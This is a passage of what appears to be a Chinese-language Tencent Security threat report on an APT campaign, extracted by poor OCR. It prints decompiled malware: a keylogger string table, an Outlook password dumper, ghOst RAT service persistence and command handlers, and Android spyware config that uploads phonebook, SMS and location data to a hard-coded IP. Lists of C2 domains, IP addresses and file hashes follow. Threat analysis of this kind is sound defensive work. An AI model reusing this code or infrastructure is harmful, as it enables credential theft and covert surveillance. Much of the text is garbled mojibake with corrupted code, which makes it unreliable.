.rdata:B08427288 aTab
.rdata: 88427 28E
.rdata: 868427298 aEnter
.rdata:B08427298 aSpace
.rdata:B808427208 aBackspace
.rdata:884272aC aF1
.rdata:808427 281
.rdata:B084272B4 aF2
.rdata: 88427289
.rdata:8842728BC aF3
.rdata:884272C1
.rdata:B084272C4 aFh
.rdata:Be4272c9
.rdata:B8684272CC aFs
.rdata:B868427201
.rdata:B8084272D4 aFd
.rdata:Be4272p9
.rdata:B8084272DC aFy
.rdata:8684272E1
.rdata:B84272EL aF8
.rdata:Be4272E9
.rdata:B084272EC aF9
.rdata: 88427 2F1

align &
db '[PRUSE]’,8

db °[SCROLLLODCK]',8

align &4

db "[PRINT]",8
db "[UP]’,8
align &4

db '[DOWN]',8
align &4

db "[LEFT]",8
align &4

db ‘[RIGHT]',@
db *[ESCAPE]",@
align &4

db '[TAB]',8
align 18h

db ‘[Enter]’,8
db *[3pace]’,8

db ‘[Backspace]’,8

db "[F1]",8
align &4
db ‘[F2]',0
align &
db "[F3]",8
align &4
db ‘[F4]',0
align &4
db '[F5]',0
align &4
db ‘[F6]"',0
align &4
db ‘[F7]',0
align &4
db '[F8]',8
align &4
db '[F9]',0
align &4

DATA
DATA

DATA
DATA

DATA

DATA

DATA
DATA

DATA

DATA

DATA

DATA

DATA

DATA

DATA

XREF :
XREF:

XREF :
NREF:

XREF:

NREF:

XREF :
XREF :

XREF :

XREF:

NREF:

XREF:

NREF:

XREF :

XREF:

63: BIER

BERFERERBIBEFERE Accessoriecs.Ink, HFBERB:

DWORD _ cdecl sub_L482258()

{
DUWORD result; //f eax@hy

__intié vi; /7 [sp+6h] [bp-28Eh]@1
WCHAR String; // [sp+8h] [bp-28BCh]@1
char v3; /7 [sp+Ah] [bp-2B8Ah]@1
unsigned int vh; // [sp+218h] [bp-4h]@1
int w5; // [sp+214h] [bp+Bh]@1

vl = {unsigned int)&vS
String = 8;
memset(&u3, B, Bx286u);

® _ security_cookie;

SHGetSpecialFolderPathW({®, &String, 7, 8);
if { =(&v1 + lstrlenW{&String}) == 92 )

1strcatW{&String, L"Accessoriecs.lnk");

H
else

{

lstrcatW{&String, L™\\");

1strcatW{&String, L"Accessoriecs.1lnk™);

¥
result = GetFileattributesW(&String);

if { result == -1
result = sub [4@28F0O();
return result;

64: REBEMIZ

sub_481768+248T0
sub_4817608+25FTo

sub_u817668+27ETo
sub_481768+29DT0|

sub_481768+2BCTo
sub_481768+2DBTo

sub_u@1768+2FnaTo
sub_481768+319To

sub_u481768+328To
sub_481768+357To
sub_461760+376T0
sub_481760+395T0
sub_481768+3B4To
sub_481768+303To
sub_481768+3F2To
sub_4@1768+411To
sub_481768+42D0To
sub_4B1768+44FTo
sub_481768+46ETo

sub_u@1768+480To

sub_uB1768+4ncTo
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3.4.2 HR{EHEX

N3z outl .exe  (901e131aflee9e7fb618fc9f13e460a7) , pdb A9:
E:\\code\PasswordRecover\do ok\OutlookPassRecover\Release\OutlookPassRecov

er.pdb

% AHRITNEER outlook ZZR3EFEY, FFENAY outlook IKSERBRFE!
c:\users\public\result.dat:

lint _ cdecl main(int argc, const char **argv, const char **envp)
29

FILE *v3; // eax

SetUnhandledExceptionFilter(ToplLevelExceptionFilter);
3 = fopen("c:\\users\\public\\result.dat™, L"w");
dword_416F64 = v3;
8 if { Iv3 )
9 return -1;
8 fprintf(v3, "Dump password :\n\n");
1 sub_4e2eCe();
12 sub 482CC8("Software\\Microsoft\\Internet Account Manager‘\\Accounts™);
13 sub_4@2CCe("Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts")};
14 fclose(dword 416F64);
15  return 8;

65: {RFEBEBA
X% out12.exe (08993d75bee06fc44c0396b4e643593c) , pdb B&F):

E:\code\PasswordRecover\outlook\OutlookPasswordRecovery-master\OutlookPas

swordRecovery\obj\Release\OutlookPasswordRecovery.pdb

ZSHRITHRERIEE/955EY outlook kSR, EFENAYERLREN Module.log:
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b {} OutlookPasswordRecove ry.My.Resources

66: {LABIESR

TRIE pdb FIERRTE github E#ER, KU TizTE:

https://github.com/0Fdemir/OutlookPasswordRecovery
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fsfZ=E
TLP: WHITE Tencent Security

This tool usable for recover Outlook passwords and it working with all versions. | tested with 2007, 2010, 2013 and 2016.

outlook password recovery
{® 5 commits V1 branch © Oreleases 42 1 contributor

Branch: master v New pull request Find file Clone or download ~

OFdemir Update README.md Latest commit c6816ce on 15 Nov 2017
B OutlookPasswordRecovery nocommit 2 years ago
E) .gitattributes nocommit 2 years ago
B .gitignore nocommit 2 years ago
B QOutlookPasswordRecovery.sin nocommit 2 years ago
[E README.md Update README.md 2 years ago

README.md

OutlookPasswordRecovery

This tool usable for recover Outlook passwords and it working with all versions. | tested with 2007, 2010, 2013 and 2016.

Disclaimer

This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially
the fact that me is not liable for any damages caused by direct or indirect use of the information or functionality provided
by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs
or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system
compromise, etc.) caused by the use of these programs is not my responsibility.

Usage

67: github LRITEER
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Branch: master +  QutlookPasswordRecovery / OutlookPasswordRecovery / Module1.vb Fi
OFdemir nocommit 67b96

0 contributors
168 lines (132 sloc) 7.05 KB Raw Blame Histor

Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.Win32

Module Modulel
Sub Main()
Dim ot As New List(0f RecoveredApplicationAccount)
ot = GetOutlookPasswords()
If ot.Count > @ Then
For Each Account As RecoveredApplicationAccount In ot

Console.WriteLine(" )
Console.WriteLine("URL: " & Account.URL)
Console.WriteLine("Email: " & Account.UserName)
Console.WriteLine("Password: " & Account.Password)
Console.WriteLine("Application: " & Account.appName)
Console.WriteLine(" )
Next
End If
Console.ReadKey()

End Sub

Friend Function GetOutlookPasswords() As List(0f RecoveredApplicationAccount)
Dim data As New List(0f RecoveredApplicationAccount)()

% 68: github FAITFEES

R BT

69: HAEAMCIEMET
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3.4.3 JEh(FhREY GhOst RAT

ZHIAIA ghOst RAT 9793 4HRAY ghOst RAT, Bt RiIRFrEIhaSEiEEEmK, B
REMNERSZEN LERI— 1 IFEHEMRAY ghOst RAT, FEET Installer f#EZEIEYX

#.vnd BT, BRSO

LAEBRAI(H BRI/ EN\360Rec\sun.exe (cc63f5420e61f2ee2e0d791e13e963f1)

Bt RSS:

247 w1s = 2;

248 '=_-'-'rp {(&5tringl, &St _), /i UESystemRootX\system32\svchost -k "
249| lstrcatW(&8St '-"-':-": 1pSt 2}; / "WinDef™

258 4 = OpensCManagerka(a, G 983183)

25 5 = yd;

252 if ( w4 )

253 { // "Windows Defender Log”

254 6 = CreateServiceWd(v4, lpString2, a2, 983551, 32, 2, 1, &stringl, @, @, @, @, @);
255 if-f wb )

256 {

257 CloseServiceHandle®(vs);

258 return 8;

259 b

266 CloseServiceHandle@(ve);

261 CloseServiceHandle®(vs);

262 }

70: BUZARSSAAD

REMRS dil 3 C\Windows\system32\PRT\WinDef32.dll:
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EEE ==

389 RegSetValueE)dﬂG( /16, &v38, "\8', 4, 818, 4): // "Start"

398 RegSetValueExwo({viec, &w26, "\@', 4, 288, 4); // Type

391 Regclosel(eyﬁ-( 16};

392 =93

3493 i

304 92;

395 88;

396 r';

397 1893

398 181;

3499 1l16;

486 181

481 R

462 115;

483 "hNe';

44 lstrcpyW(&v

485 lstrcathl(&v2e /1 TSYSTEM\CurrentControlSet\Services\WinDef\Parameters”
an6  if ( REgCreatEKeyNB( 2147483646, 8205, &v16) )

4a7 return 8;

483 44 = B519219;

489 = B3

418 = 118;

411 = 185;

412 = 99;

413 = 181;

414 w58 = 68;

415 w51 = 168;

416 w52 = 168;

417 w53 = "\@';

418 wl4 = lstrlenu(ad); A Cr\WINDOWS\system32\PRT\WinDef32.411"
4159 RegSetValueExwWd(vlc, &va4, "\@', 2, a4, 2 * vi4);// "ServiceDll"
4208 w23 = "i';

A e — T§te

71: RERS BN

ENEBRTERZ.vnd X4, XOR 0x2e f#ZRENE WinDef32.dll, FgESERTEA

5 calc.exe 1HE:

R

vB[vE+H+] M= Bx2Eu;
while ( v9 < NumberOfBytesRead );

i

1 *)(int, signed int, signed int, _DWORD, signed int, _DWORD, _DWORD))CreateFilewd)(

if (v1e == (void *)-1 )

utpu"DebugS*”lng. (L"Create D11 ERROR");

~esult = 8;

72: EENECE D

BEIIRSS :
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ad Paa }

:'.:l (o O I By T 5

Bt P

WO 00 o~ oo

=

in

1

__cdecl sub 482388({int al)

int result; // eax

int v2; //f edi
int v3; // eax

int v4; // esi

OpenServiceWd(result, al, 16};

2

(v3)

StartServiceWd(v3, @, @8);:
CloseServiceHandle®(vi);

~esult = CloseServiceHandle®(v2);

E 73: BaiRSHES

REMRBEERAISE C:\\Windows\\system32\\PRT\\WinDef32.dl|

(c5f0336b18a1929d7bd17d09777bdc6c) i AIEHEHFIRAY ghOst:

T T T VY TR M W Y
o5 0 ® 5 0 5

L pa

=] 0 LN

[ U B -

vid = -lj
vl = sub 18@85BCB(L"ttt-sksuobm-"1n9;3;39");

s Y e,
return -1;
if ( lstrlenW(&::String) <= 3 )
else
w35 = sub 16888BCA(&: :5tring);
74: BRERERERNDE

= ENL, XOR 3fEZEAY C2 3. www.phpvlan.com:8080:
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1_WORD * cdecl sub 18883BCe(LPCWSTR lpString)
2{

3 dnt vl; [/ eax

4  dimt v23; [ff esi

5 unsigned int v3; J// edi

6 wvoid *vd; ff edx

7| _WORD *result; /S eax

8 _ intle ve; /f di

9

8 1 = lstrlenW{1pString);

Al w2 = w1

2| w3 =gl g2

3 w4 = operator new(v3};

4 memset(vd, @, vi);

5| result = v4;

B If (v2 >0 )

%

B do

o i

‘B vE = *{ WORD *}({char *}result + (char *}1lpString - [ _BYTE *)wd};
1 +result;

2 =gt =

'3 *result —1Y = we ™33

- }

5 while { v2 };

‘6 esult = wvi4;

7l F

'8 return result;

B
[

Fap

&

75: fEE C2 (RS

oK, RRETERD ghOst Ihag, BRENMEE. FRhiE. #RICR. @E Shell
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lichar _ thiscall sub_18885BF@(int this, unsigned _ int8 *a2, int a3)
2
3| dint w3; /S eax
4| int v4; [/ esi
5| int v5; /fS eax
6
7| LOBYTE(v3) = (_BYTE}aZ;
8 4 = this;
3| switch [ *a2 )
1@ {
11 case @u:
12 LOBYTE({v3) = is + 41564, 1};// COMMAND ACTIVED
13 return v3;
14 case 1lu: | // COMMAND_LIST_DRIVE
5 vS = sub_10eaC198(@, @, sub_1@A@4EE®, *( DWORD *)(*(_DWORD *)(this + 8) + 316), @, @, @);
goto LABEL_B;
17 case lbu: J/ COMMAND SCREEN_SPY
vS = sub_166aC136(8, @, sub_l@A@4FC, *( DWORD *)(*(_DWORD *)(this + 8) + 316), @, @, 1);
i9 goto LABEL_B;
28 case 3lu: // COMMAND KEYBOARD
21 /5 = sub_18@@C158(8, @, sub_18@855E@, *( _DWORD *)}(*(_DWORD *)(this + 8) + 316), @, @, @);
22 goto LABEL B;
23 case 35u: [/ COMMAND SYSTEM
24 vS = sub_1868C198(8, @, sub_18G655F®, *(_DWORD *)(*(_DWORD *)(this + 8) + 316), @, @, 8);
25 goto LABEL B;
26 case 48u: [/ COMMAND SHELL
27 wS = sub_18@8C198(8, @, sub_1&G84E6®G, *( DWORD *)(*(_DWORD *)(this + 8) + 316), @, @, 1);
28 LABEL_8:
29 *( DWORD *){v4 + 4 * *( DWORD *){v2 + 41556) + 1556) = v5;
38 w3 = *( DWORD *)(v4 + #41556) + 1;
31 *( DWORD *)(v4 + 41556} = v3;
32 break;
33 case 48u: // COMMAND OPEN_URL_SHOW
34 LOBYTE(v3) = sub_18@@56D8( (LPCWSTR)(this + 16), (LPCWSTR)(2Z + 1));
35 break;
36 case BBu: // COMMAND OPEN_3389
37 LOBYTE(v3) = sub_10@@507@(( DWORD *)this, a2[1]);
38 break;
39 case B2u: J/ COMMAND CLIENT_ 82
40 LOBYTE(v3) = sub_1@@@5878( (LPCWSTR)(this + 16), (LPCWSTR)(2Z + 1));
41 break;
42 default:
43 return v3;
aa
45| return v3;
46}

MHETEINEE,

Ihaeg:

B 76:

LRI

fREBT ghOst RAT XMHEBRILEES, FEIN T IRBRIR ES4ATERT
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lichar _ thiscall sub 10@82CCA( DWORD *this, unsigned _ int8 *a2, int a3)
2q
3
5

4 H

switch ([ *a2

8

9

16 case 2u:

11 result = {unsigned int)sub_1088341@(this, (LPCWSTR)(a2 + 1));// COMMANND_LIST_FILES
12 break;

13 case 3u:

14 = sub_10@@3A98(this, (LPCWSTR)(a2 + 1));// COMMANND_DOWN_FILES

15

17 t = sub 18@83ED8( (int)this, (int)(a2 + 1));// COMMANND FILE_SIZE
10

19

28 t = {unsigned int)}sub le@e4eas(this, (DWORD)(a2 + 1), a3 - 1);// COMMANND FILE DATA
21

22

23 result = (unsigned int)sub 180883916@(this, a2 + 1};// COMMANND CONTINUE
24 break;

25 case B8u

26 result = sub 188@3E18{this); // COMMANND STOP

27 break;

28 case 9u:

29 sub_1@8@45D8((int) (a2 + 1)); // COMMANND_DELETE_FILES

36 sult = (unsigned int)sub 10@83AB0(v4, 108);

21 break;

32 case 1éu:

33 sub_18003608(this, (LPCWSTR)(a2 + 1)); // COMMAND DELETE_DIRECTORY
34 result = (unsigned int)sub le@e3Ase(v4, 108);

35 break;

36 case 1lu:

37 ~esult = sub_10@84158(this, a2 + 1); // COMMAND_SET_TRANSFER_MODE
38 break;

39 case 12u:

46 result = {unsigned int)sub_1088417@(this, (LPCWSTR}(a2 + 1));// COMMAND_CREATE_FOLDER
41 break;

42 case 13u:

43 result = sub_1908419@( (LPCWSTR) (a2 + 1)}; // COMMAND RENAME FILE

44 break;

45 case 14u:

46 result = sub_10@@2E6@(a2 + 1, 5); // COMMAND_OPEN_FILE_SHOW

; break;

438 case 15u:

49 result = sub 10@@2E6@(a2 + 1, 8); // COMMAND_OPEN_FILE_HIDE

58 break;

51 case 52u:

52 result = sub_ 168044908 (this); // GetFileTime

53 break;

54 case 6B3u:

55 result = {unsigned int)sub 18@@F4Ce{(int)(aZz + 1});

56 break;

57 case 64u:

58 result = {unsigned int)sub_100841C@({this, (LPCWSTR)(a2 + 1));// SetFileTime
50 break;

68 default:

61 return res

52 }

63 return result;

54}

77 XHEERES

3.5 BEliRAD BT

BIHREDT, FIMERRTNANREARD, WEEE @hF: BH2:T) apk

(8d3af3fea7cd5f93823562c1a62e598a)
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Tencent Security

78: APK SZ{HEIFR

Z apk FUTIEREAT:

ZEY BHOIX| =80 IHE o AR Y

EO|ATY F2lAbe ey

AHAHOME O AL BAHAOE Y0P E
SBURH B AOIEE Bof 2R, VIS, BRLIYNS § O o
28NS 2701 Qe

- O2f9) A2 BOSHAIO] 0L MAOE 219} N} GIE & 2] F2I81A] HIFILICH

O A2

TWH HHE AR S0 0P SRE0| YE ABED AT Tk L= 0OXY

R4 O00HACEH Ei= SR 0O00ICH OOHEGEY A2 UHUOR il AFHe}

WARICID HBHOR HOHE U S8 YUG YNSR FEN0| E5 W= apioe

SO|ANILE 81T 2oL 8] Highich

01 a2l oMy Haleg gHivoR B o0 HiY o4
FRUC R AFLBI0| MYEE U SEHE YR

02 CHHEYZYMNOIER B RULED B0 LT 87

03  HA% Su0|XHE FFEe T MOLE Tk FE (www.spo-bvenetE)

[@=8= Totg7] =l
-~ LW s B B B - n 1
Sprare L rvie Bemd ey bk ‘.
HEYS2 IUS YR == et
282 Fo| = AHE&LIct spbs

FIEE]

Liopixg] ST LAY

HZ|40lAIT L O

ZAZ X128 1

@ LB, L0I0N, BT S L
s onpzzhugionl301 |

P PP

E 79, 80: EaiERHEE

1% APP {3 EEERT APP, FEJ9ipalkug http://www.spo.go.kr/spo/index.jsp.
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SRR EiZ app A—NEIEARD, BESSCIIFNER. GPS (EERIREL. SMS fB{53REX.

BIERE. BRSERN. TEAD. CEXHEFIRE:

B Source code

Jﬂa Facket

JE android support
JE com

o in

JE inout

—J"$ org

'EIE} apache http
[

e O oy O e O e PO P

[

B inflocation line
}'Eﬂ deamon

i keepalive
- util

}-9 Basehectivity
7@ BuildConfig
0@ CF_Hetpt
5-(& CF_MyInlFac
- & Configlhtils
5@ GpsService

[

C)
7 LD_PointActivity

H

E:

[

[

E:

[

[

E:

[

[

[

E:

[

[

-3 10 Mainkpp
E}-G ID_EBootReceiver
@ LocationReceiver
E}-@ LocationService
@ Maintctivity
@ po_EEAT
E}-G PG _Clbserver
E}-G PG_Constant
@ PG_SMSObserver
@ P6_UpThread
E:
[
[
E:
[
[
[
E:
[

7@ R
7@ Ry

}'G Recordlask
53 TingWebVien

}-G VE_WindwService
(@ WebViewhctivity

& ]

}-G 1D CallerReceiwer

5@ 1D ScreenReceiver

7 (3 PG UploadFilsThread

7@ Recor dhudi oService

7@ ScreenShotService

81: fURBHESR
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package org.inflocation.line;

import android.os.Environment;
import java.io.File;

public class ConfigUtils {
public static final String BASE DIR = Environment.getExternalStorageDirectory().toString();
public static String WerkRootPath = (Environment.getExternalStorageDirectory() + File.separator + "tlsrecords" + File.separator);
public static boolean blocknumber = false;
public static String domain = "1@3.81.171.157:8@81";
public static String localpesition
public static String npkiFileName =

public static String version = "1B81128";
] public static String getvst() {
3 return “http://” + domain + "/api visit.s
7 public static String getlU{) {
It return “http://" + domain + "/api_pos.shtml”;
i7 public static String getPhbk() {
i8 return “http://" + domain + “"/api_ phonebook.shtml";

2 public static String getMsg() {

= return “http://" + domain + "/api msg.shtml™;

public static String getlog() {
+ domain + “/upload/upload.shtml”;

k) return "http://"
il public static String getBlkIm() {
2 return "355266849412164;";

82: 1BEEXMD

3.6 WEHEDT
3.6.1 LA RIPAIMIEESSHr

BA I T BO ARSI IRIFRIRSERGHT T D (FEAWENRY)
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2:49:56 2:59:17

2:59:17 8:37:59

8:39:04 9:02:11

9:02:34 9:11:20

9:51:12 9:55:54
10:04:42 10:30:07
10:35:48 10:48:10
10:48:49 11:01:1.1
11:43:41 11:43:54
13:11:05 13:11:13
14:41:52 14:57:19
16:14:42 16:21:07
16:46:26 17:19:26
17:31:05 17:39:31
17:39:45 17:39:47
17:44:57 17:46:32
18:23:49 19:02:38
19:36:34 20:12:29
21:08:36 21:10:40
21:20:06 21:37:48
21:54:27 22:05:40
22:07:32 22:26:40
22:37:08 23:21:15

83: HFARIEROHT

JUAIREREERELREE LT 8 Rie, KEORIEEBER L 23 mAl. RIREEAR

EEIMR, BIDANUTRREER I XNKTE. [EFE=HEED.

BEORBA RIS HITAY naver.com =45 :
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POST
ReFerer:[https:f!dict.nauer.com! ]

fccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
ficcept-Language: zh-cn,zh;q=8.8,en-us;q=08.5,en;q=0.3

Accept-Encoding: gzip, deflate

————————————————————————————— 67401722032265
—=%s\r\n

————————————————————————————— 67491722832265
WA n—--%s\rin

————————————————————————————— 67401722832265

AFAN--%5--\FAD

Content-Type: applicationfoctet-streamirinirin

TEHP

%s\AdobenRM.1log

%S\AdobenRM.1log

%S\AdobeARM.piz

%S\AdobeARM.en

;gaau??eyujUchhD—ZSZjzBXBc3CUBRSuwu—CSpPySEUSKnipUDS1HUBDH1?VS1H2ﬂzPsahSBﬁiqnwiIcqudeiume
]

84: HEATFIERT naver FFF

naver JEEEERAAMEZ S IZEF0 ] P RIus,

3.6.2 EXIRIH

RAFERS/LFHIRPBEHE—EIXR, SEPEHNER,. BEHNRKRARRSE, NI&
BirskE, EXMNPHAIINRE. BINER. HHBRABERAREFS, NZiVE

MEREB/LVFEHNAFHEZAR.

a

FEILEFA AN ERIRISRAEREARAIA R,

3.6.3 INEFiE
WEFAOEOR. ERARY. TRIBSS, #EIRESFANKREEE
3.6.4 45ig

M ERDHHEATAS, WEETREREHREFS, BT HEBERNRBEEREX, FLt(1#
WIIREEPTREREHE. R, NIEFE. WEKE, BHENSIM— APT IIEHAR

DarkHotel (F&J&) FLEEEL.
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B2, MEAR, BiiRiESOITHRE, HIIFARKIMEIR DarkHotel EEZRIER, tBRE

BEEBIESRIERRER DarkHotel 18X, {BRAIFHAHEBRZAR =5 DarkHotel B9932. £FIt,
BATRAEE I EIZI T/ NS A— MR AR, RN B&" (R EEERER
19 RC4 W9fR 223589 Higaisakora, HY Higaisa f935i%) . IABISIEaREREEAIR, 5

FER, KFEREE(C—ERTEZRERNESER.

! [z

) 3

STREXRIE, FNEEFWERESHIMEER, THEBURIEME, EER—L5EH
ODHKEEFENAENS, BHEESHH TS, ARG EER T XIREERAT—
EEGASTIR. MXBR. BRFXRRBUMAR, ELERRFERAFIEHTEZR
—EAR. W, ZRERLANKERBEFEE—BEEHTEN, MERKRT pcin, HWEE%
NimILERIBED. FelJFIMT, ZIEEIPARIR AT IR, BB IREREXIAR,

—EERERERR, BREZTDERRK,

h, RHEEN

L]

HAEIMNR R R EENGSE LT T LRINER

1. BYERENE EMATRGD &RE N EMEXRMY,
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2, EIRER R WiFi MK, HRUEZLR Wik ME, EAEH{TIREHETZE

BEfSFAMERRURE, TRERME. IMBE. RITEIKS, RFAREERELR WIF

R TH AR ROTHRIRAE S

3. RAREEIR, FEFRHABRMMFRIMI, BRARGERRTSE, BB, &N
FERZZSER Office RN,

4, REREEBERGANTH Office FEBHRMAAIHNT

5. FRARSHRUDHTREREADRE, NTFERWAR, EFEERBNIRERREE
BxRg. BHHRRNESNBRIESHESHEINEE, FTREELRFEERSAIA
=B ;

—EE

¥ WindowsZz 2 EE (KB4499175) B 100. 50MB

6. #EEWVAFSEBEBNMIASREAMENRG NI HIERENE. HASREMENER
7, BETENZERRSLRENTEED. KIEBNMEMRIEEEEE, A
AYIRAS BB B IRAE SRR R4,

(https://s.tencent.com/product/gjwxjc/index.html)

Bl IEmERTO 63/73



@ fsRZE
Tencent Security

TLP: WHITE

50,227 24,350,508

TEBUARIERESE , 12408

7~ PR

6.1 XFBNZ 2R EMIERPG

ElZeflNRIMERPL, E—NEESERSEHIENER O, RPITRZESTES.,
KIEENZ T8RS AR LIS, BENSEEY. MRTEERENHESFTIE,
FEBEERIFEMINE (APT) EFANABRZERMER, BHTEoTARRE, Hif
XITTRESR A TINE . RO,

BRZ2EINEMERPOARSEFSLEK, KT AERRMOITRE, BEFE
HANFFROSSPEAPEERAY APT RS, TICEPHTIREAIEE DREDHTIREAIR
B, #UHTIRGTKF, R TREZEFNZEERVIFAT, RIFRHRBRELER
BRXMAREMEHITAS

LT EENZ2ENEIBRPOARSH TSR, RiTEamH 4.
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i

6.2 10Cs

MD5:

02475ebad49942558a5e53e7904eb9cb0

059¢639c9b4afa59267d2d7e5de9fd68

0796fb3436bb7727cb8d64a2f423f9be

08993d75bee06fc44c0396b4e643593¢

0a11b8f93073833464134aa740a8d70f

0def22c282f8e154f290d3e97e774671

Oeled07bae97d8b1cc4dcfe3d56ea3ee

109d252d24fa3b8b543f01d34b6cbf17
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i

11a807c699c8e4cc438f9f20e524f61b

16dcd7e8c9773c8bef6a9eb78a634dd3

1bea784bdc479243dc9370b50c128c3d

1¢120e481925c7abd968e20ab18e4785

1e769aa405d41eaecabb61eb564b9eba

21fcdf439000b6eb03cc9d1cabc8a76¢

26e2a010b4cca084c7c3e9cdf8e05030

2b582e4159e079296f226233877ecd7c

2e8c34fd5d75a47061cd1e06b8d2a99e

3310304d41f99330c556ba5762c16294

342a0a6bb527d3c56a1c248155ad3eef3

3e17165615e74ba0e937bbce42ed125b

3e1c1047d599bb579b11cc60f23a2cb?2

40ac4ebac25af30ea0c8555ab861c4el

43c130f57d329a1e29d452df08ad96e4

46c6e0c51391b07f5f2eafd983d8624e

48845bc47bcc337dfe40bebf930649b3
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i

4996112daaec54fb53e5d4bbd1735af2

4b0bc7e723a7dff471aa15cba82f8136

50c86f1debcaeefce7c1d7e2ef39aa79

5fbd4d107c08a3e65804c0edee68a267

602658138ae185cc219f2a5c6028751e

63d3975b9a277730d7432e27ef77202b

65f0581d200935d0d1e969d87b6d1e6b

6633ac6507883244359add02032d15fd

6e95c5c01f94ef7154e30b4b23e81b36

6fb537011718106745d05236ab4fb42a

6febd1729c49f434b6b062edf8d3e7f3

714e6589d253¢188209a579ff812f423

77100e638dd8ef8db4b3370d066984a9

7bcacd70639e70d8d803cca30c9d9744

7c94a0e412cc46db5904080980d993c3

7d6f2cd3b7984d112b26ac744af8428d

8662935003722d568e856fa054226a12
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i

8b565dfd7581a72659f7990acbf36804

8b8c026dac2cfbaf2006316d888632cd

8c25a708eale142190e03f5117f046f2

8ed4d39f4fd30e7f9fc91b571612bb43

8d3af3fea7cd5f93823562c1a62e598a

901e131af1ee9e7fb618fc9f13e460a7

9127b5f9dacd0ca5a753083¢c50cc1225

91b7b9928d20054181caa24f5b9aa839

94b660301590764702c77fb2e5c44daf

982a0d301204dadf70428bf007d4258d

9837c85faf3385b5289a671851d5c14c

9e7b254df610aefbc5253a646220401e

a2054fff1fe1db66264f2f1a36ca19bb

a3f85e3784d3e544617cc60abb6b387b4

a512a23491611604e05b31c44845fe17

a5a0bc689c1eadb1c1336¢c1cde9990a4

bdfc03e3c33e914c716b4e88b7b62015
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i

¢c1c829690c0a96fbc683c012b05d0cae

€291¢7a095¢81929e0fff2319297cd84

c454d7902ba3959335b0ef8e074b50a2

c6e5b3a43192bccfo9d108fe8783c20e0

c9ce24a7561dab524cb5413bf7fec81b

cad355de03dc1439be27896c8c378ch9

cc63f5420e61f2ee2e0d791e13e963f1

d3ff9d278e26450a02a3ac1a159da39f

dd954c34ac289118290d65fcb0549743

dd99d917eb17ddca2fb4460ecf6304b6

€a296441165b0c7f27f0ecac084df21a

ee76c2cf3f4124c69c2bf47104951c49

f443e24c183e188ef3b0d8024afd4423

f684cd4ba25a36a9331a0dbcc047d1cb

fa8c53431746d9ccc550f75f15b14b97

fbda493e248c1cfd6fb3ebaccce60887

fca3260cff04a9c89e6e5d23a318992¢
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fdce7fe4b333e3581cedaba9ab7fb3be

C2:

info.hangro.net

console.hangro.net

register.welehope.com

www.phpvlan.com

wiki.xxxx.com

game.militaryfocus.net

vachel.vicp.cc

180.150.227.24

39.109.4.143

103.81.171.157

6.3 MITRE ATT&CK

Tactic ID Name
Initial Access T1193 Spearphishing Attachment
Execution T1106 Execution through API

T1129 Execution through Module Load
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T1203 Exploitation for Client Execution
T1085 Rundll32
T1035 Service Execution
T1204 User Execution
Persistence T1179 Hooking
T1137 Office Application Startup
T1060 Registry Run Keys / Startup Folder
Defense Evasion T1140 Deobfuscate/Decode Files or
Information
T1107 File Deletion
T1036 Masquerading
T1112 Modify Registry
T1027 Obfuscated Files or Information
T1085 RundlI32
T1099 Timestomp
Credential Access T1179 Hooking
T1056 Input Capture
Discovery T1083 File and Directory Discovery
T1046 Network Service Scanning
T1135 Network Share Discovery
T1057 Process Discovery
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T1082 System Information Discovery
T1007 System Service Discovery
Lateral Movement T1534 Internal Spearphishing
Collection T1123 Audio Capture

T1005 Data from Local System

T1114 Email Collection

T1056 Input Capture

T1113 Screen Capture

Command and Control T1043 Commonly Used Port

T1094 Custom Command and Control Protocol

T1024 Custom Cryptographic Protocol

T1001 Data Obfuscation

T1065 Uncommonly Used Port

6.4 SENE

1) https://malware.prevenity.com/2018/03/happy-new-year-wishes-from-china.ht

ml

2) https://s.tencent.com/research/report/762.html
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